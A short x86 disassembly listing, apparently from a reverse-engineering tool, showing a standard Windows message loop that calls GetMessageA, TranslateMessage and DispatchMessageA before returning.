call dword [sym.imp.user32.dll_GetMessageA]
or eax, eax
je 0x503c97
push 0x505248
call dword [sym.imp.user32.dll_TranslateMessage]
push 0x505248
call dword [sym.imp.user32.dll_DispatchMessageA]
jmp 0x503c6a
mov eax, dword [0x505250]
jmp 0x503ca4
call 0x502b16
ret